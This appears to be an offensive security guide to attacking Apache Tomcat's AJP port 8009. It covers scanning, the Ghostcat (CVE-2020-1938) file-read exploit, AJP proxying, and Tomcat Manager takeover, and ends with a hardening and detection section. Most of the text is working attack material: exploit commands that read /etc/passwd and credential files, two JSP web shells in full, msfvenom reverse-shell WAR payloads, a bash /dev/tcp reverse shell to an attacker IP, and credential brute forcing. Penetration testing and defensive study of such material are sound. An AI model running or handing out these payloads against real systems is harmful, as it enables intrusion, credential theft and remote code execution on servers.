# Apache Jserv Protocol (AJP) - Port 8009

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is AJP?

**Apache JServ Protocol (AJP)** is a wire protocol optimized for communication between web servers and servlet containers. It was designed to address a fundamental problem in early Java web deployments: Apache HTTP Server was significantly faster at serving static content than Tomcat, but Tomcat was required for Java servlets and JSPs.

#### AJP Architecture

```
┌─────────────────┐         AJP/1.3          ┌─────────────────┐
│   Web Server    │ ───────────────────────> │     Tomcat      │
│  (Apache/Nginx) │  Binary Protocol (8009)  │Servlet Container│
└─────────────────┘ <─────────────────────── └─────────────────┘
     HTTP/HTTPS                                   Java Apps
     (80/443)                                     JSP/Servlets
        │                                              │
        V                                              V
   Static Content                               Dynamic Content
```

**Key Design Principles:**

1. **Binary format** - More efficient than HTTP plain text
2. **Connection persistence** - TCP connections are reused for multiple requests
3. **Optimized for backend communication** - Not designed for public exposure
4. **Minimal overhead** - Reduces parsing and processing time

#### Protocol Versions

* **AJP/1.2** - Original version (obsolete)
* **AJP/1.3** - Current standard (ajp13)
* **AJP/1.4** - Proposed but never widely adopted

#### How AJP Works

1. **Connection Establishment**: Web server creates persistent TCP connection to Tomcat
2. **Request Forwarding**: Web server converts HTTP request to AJP binary format
3. **Processing**: Tomcat processes the request and generates response
4. **Response Return**: Response sent back through AJP connection
5. **Connection Reuse**: Connection stays open for next request

#### Common Use Cases

* **Load Balancing** - Distribute requests across multiple Tomcat instances
* **Static/Dynamic Separation** - Apache serves static, Tomcat serves dynamic
* **SSL Termination** - Apache handles SSL, forwards to Tomcat via AJP
* **Reverse Proxy** - Hide Tomcat behind Apache/Nginx

#### Default Port

**Default Port:** 8009

```
PORT     STATE SERVICE  VERSION
8009/tcp open  ajp13    Apache Jserv (Protocol v1.3)
```

## Reconnaissance & Enumeration

#### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 8009 -sV <target-ip>

# Detailed scan
nmap -p 8009 -sV -sC <target-ip>

# AJP-specific scripts
nmap -p 8009 --script ajp-auth,ajp-headers,ajp-methods,ajp-request <target-ip>

# Scan subnet
nmap -p 8009 -sV <target-subnet>/24 -oA ajp-scan

# Version detection
nmap -p 8009 -sV --version-intensity 9 <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
8009/tcp open  ajp13   Apache Jserv (Protocol v1.3)
| ajp-methods:
|   Supported methods: GET HEAD POST PUT DELETE OPTIONS
|   Potentially risky methods: PUT DELETE
|_  See https://nmap.org/nsedoc/scripts/ajp-methods.html
```

#### Nmap Script Enumeration

**AJP-Auth Script**

```bash
# Check authentication requirements
nmap -p 8009 --script ajp-auth <target-ip>

# Example output:
# PORT     STATE SERVICE
# 8009/tcp open  ajp13
# | ajp-auth:
# |_  Authentication not required
```

**AJP-Headers Script**

```bash
# Enumerate response headers
nmap -p 8009 --script ajp-headers <target-ip>

# Shows server information and headers
```

**AJP-Methods Script**

```bash
# Check supported HTTP methods
nmap -p 8009 --script ajp-methods <target-ip>

# Output shows: GET, POST, PUT, DELETE, etc.
```

**AJP-Request Script**

```bash
# Send test request
nmap -p 8009 --script ajp-request --script-args ajp-request.path=/manager/html <target-ip>

# Custom request
nmap -p 8009 --script ajp-request --script-args 'ajp-request.path=/test.jsp,ajp-request.method=POST' <target-ip>
```

**All AJP Scripts**

```bash
# Run all AJP scripts
nmap -p 8009 --script ajp-* <target-ip>

# Aggressive scan
nmap -p 8009 -A <target-ip>
```

#### Banner Grabbing

**Using Netcat**

```bash
# AJP is binary protocol, so banner grabbing is limited
nc -nv <target-ip> 8009

# May get binary response or nothing
```

**Using Telnet**

```bash
telnet <target-ip> 8009

# Again, binary protocol makes this less useful
```

#### Service Identification

**Check for Tomcat**

```bash
# Common indicators that AJP is from Tomcat:
# - Port 8009 open
# - Port 8080 nearby (Tomcat HTTP)
# - Port 8443 nearby (Tomcat HTTPS)

# Check related ports
nmap -p 8005,8009,8080,8443 -sV <target-ip>
```

#### Shodan Queries

Find exposed AJP instances:

```
port:8009
port:8009 ajp
product:"Apache Tomcat" port:8009
```

## Ghostcat Vulnerability (CVE-2020-1938)

#### Overview

**CVE-2020-1938** (nicknamed "Ghostcat") is a critical file read/inclusion vulnerability in Apache Tomcat's AJP connector. It allows an attacker to read arbitrary files from the web application's file system, including sensitive configuration files.

**Severity:** Critical (CVSS 9.8)

**Affected Versions:**

* Apache Tomcat 9.x < 9.0.31
* Apache Tomcat 8.x < 8.5.51
* Apache Tomcat 7.x < 7.0.100
* Apache Tomcat 6.x (all versions - EOL)

**Patched Versions:**

* Apache Tomcat 9.0.31+
* Apache Tomcat 8.5.51+
* Apache Tomcat 7.0.100+

#### How Ghostcat Works

The vulnerability exists in the way AJP handles file inclusion requests. An attacker can craft malicious AJP requests to:

1. Request arbitrary files from the web application directory
2. Read files outside the web root (in some configurations)
3. Include files that may contain sensitive information
4. Potentially achieve RCE if file upload is possible

#### Vulnerability Detection

**Method 1: Using Nmap NSE Script**

```bash
# Download Ghostcat detection script
wget https://raw.githubusercontent.com/n0mi1k/nmap-scripts/master/ajp-ghostcat.nse -O ajp-ghostcat.nse

# Run detection
nmap -p 8009 --script ajp-ghostcat.nse <target-ip>

# Or check version
nmap -p 8009 -sV <target-ip>
# If version < 9.0.31, 8.5.51, or 7.0.100, it's vulnerable
```

**Method 2: Using Metasploit**

```bash
msf6 > use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS <target-ip>
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8009
msf6 auxiliary(admin/http/tomcat_ghostcat) > check

# If vulnerable, exploit:
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
```

**Method 3: Manual Version Check**

```bash
# Check Tomcat version via HTTP port
curl -s http://<target-ip>:8080 | grep -i tomcat

# Or via error page
curl -s http://<target-ip>:8080/nonexistent | grep -i "Apache Tomcat"
```

## Exploitation

**Method 1: Using Public Exploit**

```bash
# Clone the exploit
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi

# Basic usage - read WEB-INF/web.xml
python3 tomcat-ajp-lfi.py <target-ip> -p 8009 -f WEB-INF/web.xml

# Read other files
python3 tomcat-ajp-lfi.py <target-ip> -p 8009 -f /etc/passwd
python3 tomcat-ajp-lfi.py <target-ip> -p 8009 -f WEB-INF/classes/db.properties
```

**Method 2: Using Alternative Exploit**

```bash
# Another popular exploit
git clone https://github.com/00theway/Ghostcat-CNVD-2020-10487.git
cd Ghostcat-CNVD-2020-10487

# Run exploit
python3 ajpShooter.py http://<target-ip>:8009/ 8009 /WEB-INF/web.xml read

# Read different file
python3 ajpShooter.py http://<target-ip>:8009/ 8009 /etc/passwd read
```

**Method 3: Using Exploit-DB Exploit**

```bash
# Download from Exploit-DB
wget https://www.exploit-db.com/raw/48143 -O ghostcat.py

# Run exploit
python3 ghostcat.py <target-ip> -p 8009 -f WEB-INF/web.xml

# Alternative syntax
python3 ghostcat.py <target-ip> -f "/WEB-INF/web.xml"
```

**Method 4: Using Metasploit**

```bash
msf6 > use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS <target-ip>
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8009
msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME WEB-INF/web.xml
msf6 auxiliary(admin/http/tomcat_ghostcat) > run

# Read other files
msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /etc/passwd
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
```

#### Files to Target

**High-Value Configuration Files:**

```bash
# Tomcat configuration
WEB-INF/web.xml                    # Web application config (credentials, database info)
WEB-INF/classes/application.properties  # Spring Boot config
WEB-INF/classes/db.properties      # Database credentials
WEB-INF/classes/config.properties  # Application config
META-INF/context.xml               # Tomcat context config

# User credentials
conf/tomcat-users.xml              # Tomcat user definitions
WEB-INF/classes/jdbc.properties    # Database credentials

# Application source code
WEB-INF/classes/com/example/App.class  # Compiled Java classes
WEB-INF/src/                       # Source code (if deployed)

# Log files (may contain sensitive info)
logs/catalina.out
logs/localhost.log
logs/manager.log

# System files (Linux)
/etc/passwd
/etc/shadow (if readable)
/root/.bash_history
/home/tomcat/.bash_history
~/.ssh/id_rsa

# System files (Windows)
C:/Windows/System32/config/SAM
C:/Windows/repair/SAM
C:/Windows/System32/config/SYSTEM
C:/boot.ini
```

**Example WEB-INF/web.xml Content:**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app>
    <display-name>Example Application</display-name>
    
    <context-param>
        <param-name>dbUsername</param-name>
        <param-value>admin</param-value>
    </context-param>
    
    <context-param>
        <param-name>dbPassword</param-name>
        <param-value>SecretPassword123!</param-value>
    </context-param>
    
    <context-param>
        <param-name>dbUrl</param-name>
        <param-value>jdbc:mysql://localhost:3306/appdb</param-value>
    </context-param>
</web-app>
```

#### From File Read to RCE

**Scenario 1: Upload + Include**

If the application has file upload functionality:

```bash
# 1. Upload malicious JSP as image
# Upload shell.jpg containing JSP code

# 2. Include uploaded file via Ghostcat
python3 ghostcat.py <target-ip> -f ../uploads/shell.jpg

# 3. If server executes it, you get RCE
```

**Scenario 2: Credential Extraction + Manager Access**

```bash
# 1. Read tomcat-users.xml
python3 ghostcat.py <target-ip> -f conf/tomcat-users.xml

# 2. Extract credentials:
# <user username="admin" password="s3cr3t" roles="manager-gui,admin-gui"/>

# 3. Access Tomcat Manager
curl -u admin:s3cr3t http://<target-ip>:8080/manager/html

# 4. Upload WAR file for RCE
# (See Tomcat Manager exploitation below)
```

**Scenario 3: Database Credentials + SQL Injection**

```bash
# 1. Read database config
python3 ghostcat.py <target-ip> -f WEB-INF/classes/db.properties

# 2. Extract DB credentials
# db.username=dbadmin
# db.password=dbpass123

# 3. Use credentials for database access or SQL injection
mysql -h <target-ip> -u dbadmin -pdbpass123
```

## AJP Proxy Exploitation

#### Overview

AJP proxying allows you to interact with Tomcat's AJP port as if it were an HTTP port. This enables:

* Access to Tomcat Manager interface
* Browsing web applications
* Exploiting web vulnerabilities
* File upload and RCE

#### Method 1: Nginx Reverse Proxy

**Setup Nginx with AJP Module**

```bash
# 1. Install dependencies
sudo apt update
sudo apt install -y build-essential libpcre3 libpcre3-dev zlib1g zlib1g-dev libssl-dev

# 2. Download Nginx
wget http://nginx.org/download/nginx-1.21.6.tar.gz
tar -xzf nginx-1.21.6.tar.gz

# 3. Clone AJP module
git clone https://github.com/dvershinin/nginx_ajp_module.git

# 4. Compile Nginx with AJP module
cd nginx-1.21.6
./configure \
    --add-module=../nginx_ajp_module \
    --prefix=/etc/nginx \
    --sbin-path=/usr/sbin/nginx \
    --modules-path=/usr/lib/nginx/modules \
    --conf-path=/etc/nginx/nginx.conf \
    --error-log-path=/var/log/nginx/error.log \
    --http-log-path=/var/log/nginx/access.log \
    --pid-path=/var/run/nginx.pid \
    --lock-path=/var/run/nginx.lock \
    --with-http_ssl_module

make
sudo make install

# 5. Verify installation
nginx -V
# Should show: --add-module=../nginx_ajp_module
```

**Configure Nginx**

```bash
# Edit /etc/nginx/nginx.conf
sudo nano /etc/nginx/nginx.conf
```

```nginx
http {
    # Comment out or remove existing server blocks
    
    upstream tomcats {
        server <TARGET_IP>:8009;
        keepalive 10;
    }
    
    server {
        listen 80;
        
        location / {
            ajp_keep_conn on;
            ajp_pass tomcats;
        }
    }
}
```

**Start Nginx**

```bash
# Test configuration
sudo nginx -t

# Start Nginx
sudo nginx

# Or restart if already running
sudo nginx -s reload

# Check if running
ps aux | grep nginx
netstat -tlnp | grep :80
```

**Access Tomcat via Proxy**

```bash
# Now you can access Tomcat through HTTP
curl http://127.0.0.1/

# Access Tomcat Manager
curl http://127.0.0.1/manager/html

# Or via browser
firefox http://127.0.0.1/
```

#### Method 2: Nginx Docker (Easier)

**Using Pre-built Docker Image**

```bash
# Clone the Docker setup
git clone https://github.com/ScribblerCoder/nginx-ajp-docker.git
cd nginx-ajp-docker

# Edit nginx.conf - replace TARGET_IP with AJP server IP
nano nginx.conf
```

```nginx
upstream tomcat {
    server <TARGET_IP>:8009;
    keepalive 10;
}

server {
    listen 80;
    
    location / {
        ajp_keep_conn on;
        ajp_pass tomcat;
    }
}
```

**Build and Run**

```bash
# Build Docker image
docker build . -t nginx-ajp-proxy

# Run container
docker run -it --rm -p 80:80 nginx-ajp-proxy

# Now access via localhost
curl http://127.0.0.1/
```

**Alternative: Docker One-Liner**

```bash
# Quick setup without cloning
mkdir ajp-proxy && cd ajp-proxy

# Create Dockerfile
cat > Dockerfile << 'EOF'
FROM ubuntu:20.04
RUN apt-get update && \
    apt-get install -y wget build-essential libpcre3 libpcre3-dev zlib1g-dev git && \
    wget http://nginx.org/download/nginx-1.21.6.tar.gz && \
    tar -xzf nginx-1.21.6.tar.gz && \
    git clone https://github.com/dvershinin/nginx_ajp_module.git && \
    cd nginx-1.21.6 && \
    ./configure --add-module=../nginx_ajp_module && \
    make && make install
COPY nginx.conf /usr/local/nginx/conf/nginx.conf
CMD ["/usr/local/nginx/sbin/nginx", "-g", "daemon off;"]
EOF

# Create nginx.conf
cat > nginx.conf << 'EOF'
events {}
http {
    upstream tomcat {
        server TARGET_IP:8009;
    }
    server {
        listen 80;
        location / {
            ajp_keep_conn on;
            ajp_pass tomcat;
        }
    }
}
EOF

# Replace TARGET_IP
sed -i 's/TARGET_IP/10.10.10.10/g' nginx.conf

# Build and run
docker build -t ajp-proxy .
docker run -p 80:80 ajp-proxy
```

#### Method 3: Apache AJP Proxy

**Install Apache with mod\_proxy\_ajp**

```bash
# Install Apache
sudo apt update
sudo apt install apache2

# Enable required modules
sudo a2enmod proxy
sudo a2enmod proxy_ajp
sudo a2enmod proxy_http

# Restart Apache
sudo systemctl restart apache2
```

**Configure Apache**

```bash
# Create configuration file
sudo nano /etc/apache2/sites-available/ajp-proxy.conf
```

```apache
<VirtualHost *:80>
    ServerName ajp-proxy.local
    
    # AJP Proxy Configuration
    ProxyRequests Off
    ProxyPreserveHost On
    
    <Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
    
    # Forward all requests to AJP
    ProxyPass / ajp://<TARGET_IP>:8009/
    ProxyPassReverse / ajp://<TARGET_IP>:8009/
    
    ErrorLog ${APACHE_LOG_DIR}/ajp-proxy-error.log
    CustomLog ${APACHE_LOG_DIR}/ajp-proxy-access.log combined
</VirtualHost>
```

**Enable and Access**

```bash
# Enable site
sudo a2ensite ajp-proxy.conf

# Reload Apache
sudo systemctl reload apache2

# Access via localhost
curl http://localhost/

# Or add to /etc/hosts
echo "127.0.0.1 ajp-proxy.local" | sudo tee -a /etc/hosts

# Access via domain
curl http://ajp-proxy.local/
```

#### Method 4: Using ajp-spray

**Simple Python AJP Client**

```bash
# Clone ajp-spray
git clone https://github.com/hypn0s/AJPy.git
cd AJPy

# Install requirements
pip3 install -r requirements.txt

# Make request through AJP
python3 tomcat.py <target-ip> 8009 /manager/html

# Send custom request
python3 tomcat.py <target-ip> 8009 /test.jsp --method GET
```

## Post-Proxy Exploitation

#### Tomcat Manager Access

Once you've set up the AJP proxy, you can access Tomcat Manager:

**Brute Force Manager Credentials**

```bash
# Using Hydra (through HTTP proxy)
hydra -L users.txt -P passwords.txt http-get://127.0.0.1/manager/html

# Using Metasploit
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 127.0.0.1
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 80
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

# Common default credentials
# tomcat:tomcat
# admin:admin
# tomcat:s3cret
# admin:password
```

**Access Manager Interface**

```bash
# Via browser
firefox http://127.0.0.1/manager/html

# Via curl with credentials
curl -u tomcat:s3cret http://127.0.0.1/manager/html

# List deployed applications
curl -u tomcat:s3cret http://127.0.0.1/manager/text/list
```

#### WAR File Upload for RCE

**Create Malicious WAR File**

```bash
# Method 1: Using msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f war > shell.war

# Method 2: Create JSP shell manually
mkdir shell
cat > shell/shell.jsp << 'EOF'
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
EOF

# Create WAR file
cd shell
jar -cvf ../shell.war .
cd ..

# Method 3: Using weevely (PHP-style but adapted for JSP)
# Create custom JSP payload
cat > cmd.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
%>
EOF

mkdir -p cmdshell
mv cmd.jsp cmdshell/
jar -cvf cmdshell.war -C cmdshell/ .
```

**Upload WAR File**

```bash
# Upload via Manager GUI
# 1. Access http://127.0.0.1/manager/html
# 2. Scroll to "WAR file to deploy"
# 3. Select shell.war
# 4. Click Deploy

# Upload via curl
curl -u tomcat:s3cret -T shell.war "http://127.0.0.1/manager/text/deploy?path=/shell"

# Verify deployment
curl -u tomcat:s3cret http://127.0.0.1/manager/text/list | grep shell

# Access shell
curl http://127.0.0.1/shell/
curl "http://127.0.0.1/shell/cmd.jsp?cmd=whoami"
```

**Reverse Shell**

```bash
# Start listener
nc -lvnp 4444

# Trigger reverse shell (if using msfvenom payload)
curl http://127.0.0.1/shell/

# Or use command execution
curl "http://127.0.0.1/shell/cmd.jsp?cmd=bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'"

# URL encode the command
curl "http://127.0.0.1/shell/cmd.jsp?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F4444%200%3E%261%27"
```

**Alternative: Using Metasploit for WAR Upload**

```bash
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 127.0.0.1
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 80
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword s3cret
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST <attacker-ip>
msf6 exploit(multi/http/tomcat_mgr_upload) > set LPORT 4444
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
```

## Advanced Techniques

#### AJP Request Smuggling

AJP can be vulnerable to request smuggling similar to HTTP:

**Concept:**

```
┌─────────┐      Malicious AJP Request       ┌─────────┐
│ Attacker│ ────────────────────────────────>│  Nginx  │
└─────────┘                                  └─────────┘
                                                  │
                                                  V
                                    ┌─────────────────────────┐
                                    │ Forward to Tomcat       │
                                    │ (AJP interprets request │
                                    │  differently)           │
                                    └─────────────────────────┘
```

**Example Attack:**

```bash
# Craft malicious AJP request with conflicting headers
# This is theoretical as AJP is binary

# The attack relies on:
# 1. Proxy (Nginx/Apache) interpreting request one way
# 2. Tomcat interpreting it differently
# 3. Allowing access to restricted resources
```

#### AJP Attributes Injection

AJP allows setting request attributes that can bypass security checks:

```bash
# Attributes like:
# - javax.servlet.request.X509Certificate
# - javax.servlet.request.ssl_session_id
# - Remote IP/Host spoofing

# These can bypass authentication if not properly validated
```

**Example Using Python AJP Client:**

```python
from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest
import socket

# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('target-ip', 8009))

# Create forward request with injected attributes
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = 'GET'
fr.protocol = 'HTTP/1.1'
fr.req_uri = '/manager/html'
fr.remote_addr = '127.0.0.1'  # Spoof IP
fr.remote_host = 'localhost'   # Spoof hostname
fr.server_name = 'localhost'
fr.server_port = 80

# Add custom attributes
fr.request_headers = {
    'sc_req_authorization': 'Basic dG9tY2F0OnRvbWNhdA==',  # tomcat:tomcat
    'SC_A_HOST': 'localhost',
}

# Send request
sock.send(fr.serialize())

# Receive response
r = AjpResponse.receive(sock)
print(r.data)
```

#### Exploiting AJP Secret Mismatch

In Tomcat 8.5.51+ and 9.0.31+, AJP can use a shared secret for authentication:

```xml
<!-- In server.xml -->
<Connector port="8009" protocol="AJP/1.3" 
           address="0.0.0.0" 
           secret="MySecret123" 
           secretRequired="true" />
```

**If secret is weak or guessable:**

```bash
# Brute force AJP secret
# Tool: ajp-secret-brute (custom)

# Or use Metasploit module (if exists)
# Or modify proxy configuration to test secrets
```

#### AJP Connection Hijacking

If AJP connections are not properly secured:

```bash
# 1. Monitor AJP traffic
tcpdump -i eth0 -w ajp.pcap port 8009

# 2. Analyze captured traffic
# AJP is binary, but patterns can reveal session tokens

# 3. Replay requests
# Craft new requests based on observed patterns
```

### Common Misconfigurations

#### 1. Exposed to Internet

**Problem:** AJP listening on 0.0.0.0

```xml
<!-- VULNERABLE -->
<Connector port="8009" protocol="AJP/1.3" address="0.0.0.0" />
```

**Impact:** Remote file read, RCE via Ghostcat

**Fix:**

```xml
<!-- SECURE -->
<Connector port="8009" protocol="AJP/1.3" address="127.0.0.1" />
```

#### 2. No Secret Authentication

**Problem:** AJP without shared secret (pre-patch versions)

```xml
<!-- VULNERABLE -->
<Connector port="8009" protocol="AJP/1.3" />
```

**Impact:** Unauthenticated access

**Fix:**

```xml
<!-- SECURE (Tomcat 8.5.51+, 9.0.31+) -->
<Connector port="8009" protocol="AJP/1.3" 
           address="127.0.0.1"
           secret="StrongRandomSecret123!" 
           secretRequired="true" />
```

#### 3. Weak or Default Secrets

**Problem:** Using predictable secrets

```xml
<!-- VULNERABLE -->
<Connector port="8009" protocol="AJP/1.3" 
           secret="tomcat" 
           secretRequired="true" />
```

**Impact:** Secret can be brute-forced

**Fix:**

```bash
# Generate strong secret
openssl rand -base64 32

# Use in configuration
<Connector port="8009" protocol="AJP/1.3" 
           secret="F3j9Kd8Nw2Pq5Rs7Tv9Xx1Zz3Cc5Ee7Gg9" 
           secretRequired="true" />
```

#### 4. Tomcat Manager with Weak Credentials

**Problem:** Default or weak Manager credentials

```xml
<user username="tomcat" password="tomcat" roles="manager-gui,admin-gui"/>
```

**Impact:** WAR upload → RCE

**Fix:**

```xml
<user username="admin" 
      password="GeneratedStrongPassword123!@#" 
      roles="manager-gui,admin-gui"/>
```

#### 5. Allowing PUT/DELETE Methods

**Problem:** Dangerous HTTP methods enabled

**Impact:** Potential file upload/deletion

**Check:**

```bash
nmap --script ajp-methods -p 8009 <target-ip>
```

**Fix:**

```xml
<!-- In web.xml -->
<security-constraint>
    <web-resource-collection>
        <web-resource-name>restricted methods</web-resource-name>
        <url-pattern>/*</url-pattern>
        <http-method>PUT</http-method>
        <http-method>DELETE</http-method>
        <http-method>TRACE</http-method>
    </web-resource-collection>
    <auth-constraint/>
</security-constraint>
```

## Defense & Hardening

#### Secure AJP Configuration

**server.xml Configuration (Tomcat 9.0.31+)**

```xml
<!-- /opt/tomcat/conf/server.xml -->
<Server>
    <!-- Bind to localhost only -->
    <Connector port="8009" protocol="AJP/1.3" 
               address="127.0.0.1"
               redirectPort="8443"
               secret="YourStrongSecretHere123!"
               secretRequired="true"
               maxThreads="150"
               minSpareThreads="25"
               enableLookups="false"
               acceptCount="100"
               connectionTimeout="20000"
               disableUploadTimeout="true"
               allowedRequestAttributesPattern=".*" 
               packetSize="65536" />
</Server>
```

**Key Security Settings:**

```xml
<!-- Essential settings -->
address="127.0.0.1"              # Bind to localhost only
secret="RandomStrongSecret"      # Shared secret (Tomcat 8.5.51+, 9.0.31+)
secretRequired="true"            # Require secret
allowedRequestAttributesPattern  # Control allowed attributes
requiredSecret                   # Enforce secret (alternative)
```

#### Network-Level Protection

**Firewall Rules**

```bash
# UFW
sudo ufw deny 8009/tcp
sudo ufw allow from 127.0.0.1 to any port 8009
sudo ufw allow from 192.168.1.0/24 to any port 8009 # Internal network only

# iptables
sudo iptables -A INPUT -p tcp --dport 8009 -s 127.0.0.1 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8009 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 8009 -j DROP

# Save rules
sudo iptables-save > /etc/iptables/rules.v4

# nftables
sudo nft add rule inet filter input ip saddr 127.0.0.1 tcp dport 8009 accept
sudo nft add rule inet filter input ip saddr 192.168.1.0/24 tcp dport 8009 accept
sudo nft add rule inet filter input tcp dport 8009 drop
```

**Disable AJP if Not Needed**

```xml
<!-- Comment out AJP connector in server.xml -->
<!--
<Connector port="8009" protocol="AJP/1.3" />
-->
```

#### Update to Patched Versions

**Check Current Version:**

```bash
# Method 1: Via HTTP
curl -s http://<tomcat-ip>:8080 | grep -i "Apache Tomcat"

# Method 2: Via catalina.sh
/opt/tomcat/bin/version.sh

# Method 3: Via JAR manifest
unzip -p /opt/tomcat/lib/catalina.jar META-INF/MANIFEST.MF | grep Implementation-Version
```

**Update Tomcat:**

```bash
# Debian/Ubuntu
sudo apt update
sudo apt install tomcat9

# RHEL/CentOS
sudo yum update tomcat

# Manual update
cd /opt
wget https://downloads.apache.org/tomcat/tomcat-9/v9.0.70/bin/apache-tomcat-9.0.70.tar.gz
tar -xzf apache-tomcat-9.0.70.tar.gz
# Migrate configuration and redeploy
```

**Verify Patch:**

```bash
# Check version
/opt/tomcat/bin/version.sh

# Should show:
# Server number:   9.0.31 or higher (for v9)
# Server number:   8.5.51 or higher (for v8)
# Server number:   7.0.100 or higher (for v7)
```

#### Secure Tomcat Manager

**Remove Default Accounts:**

```xml
<!-- /opt/tomcat/conf/tomcat-users.xml -->
<!-- DELETE or COMMENT OUT default users -->
<!--
<user username="tomcat" password="tomcat" roles="manager-gui"/>
-->

<!-- Add strong credentials -->
<user username="admin-$(openssl rand -hex 4)" 
      password="$(openssl rand -base64 32)" 
      roles="manager-gui,admin-gui"/>
```

**Restrict Manager Access by IP:**

```xml
<!-- /opt/tomcat/webapps/manager/META-INF/context.xml -->
<Context antiResourceLocking="false" privileged="true">
    <Valve className="org.apache.catalina.valves.RemoteAddrValve"
           allow="127\.\d+\.\d+\.\d+|::1|192\.168\.1\.\d+" />
</Context>
```

**Disable Manager if Not Needed:**

```bash
# Remove manager application
sudo rm -rf /opt/tomcat/webapps/manager
sudo rm -rf /opt/tomcat/webapps/host-manager

# Or undeploy via manager GUI
```

#### Monitoring & Detection

**Enable Access Logging:**

```xml
<!-- server.xml -->
<Valve className="org.apache.catalina.valves.AccessLogValve" 
       directory="logs"
       prefix="localhost_access_log" 
       suffix=".txt"
       pattern="%h %l %u %t &quot;%r&quot; %s %b" />
```

**Monitor AJP Connections:**

```bash
# Real-time monitoring
tcpdump -i eth0 -nn port 8009

# Save to file
tcpdump -i eth0 -w ajp_traffic.pcap port 8009

# Monitor established connections
watch -n 1 'netstat -an | grep 8009'

# Check for suspicious connections
netstat -an | grep 8009 | grep -v "127.0.0.1\|192.168.1"
```

**Log Analysis:**

```bash
# Check for Ghostcat exploitation attempts
grep -i "WEB-INF" /opt/tomcat/logs/localhost_access_log*.txt
grep -i "web.xml" /opt/tomcat/logs/localhost_access_log*.txt
grep -i "/etc/passwd" /opt/tomcat/logs/localhost_access_log*.txt

# Check for WAR uploads
grep -i "manager/text/deploy" /opt/tomcat/logs/localhost_access_log*.txt
grep -i "manager/html" /opt/tomcat/logs/localhost_access_log*.txt

# Check for unusual requests
grep -E "PUT|DELETE|TRACE" /opt/tomcat/logs/localhost_access_log*.txt
```

**Intrusion Detection (Snort Rule):**

```bash
# Snort rule for Ghostcat detection
alert tcp any any -> any 8009 (msg:"Possible Ghostcat (CVE-2020-1938) Exploitation"; content:"|02|"; depth:1; content:"javax.servlet.include"; nocase; sid:1000001;)

# Add to /etc/snort/rules/local.rules
```

**OSSEC/Wazuh Rule:**

```xml
<rule id="100001" level="12">
    <if_sid>1002</if_sid>
    <match>WEB-INF/web.xml</match>
    <description>Possible Ghostcat attack detected</description>
    <group>attack,ghostcat</group>
</rule>
```

#### Regular Security Audits

```bash
# Check AJP exposure
nmap -p 8009 -sV <public-ip>

# Verify firewall rules
sudo iptables -L -n | grep 8009
sudo ufw status | grep 8009

# Check Tomcat version
/opt/tomcat/bin/version.sh

# Review configuration
cat /opt/tomcat/conf/server.xml | grep -A 10 "AJP"

# Check for default credentials
cat /opt/tomcat/conf/tomcat-users.xml | grep -i password

# Verify manager access
curl -I http://localhost:8080/manager/html
# Should return 403 or 401, not 200

# Check file permissions
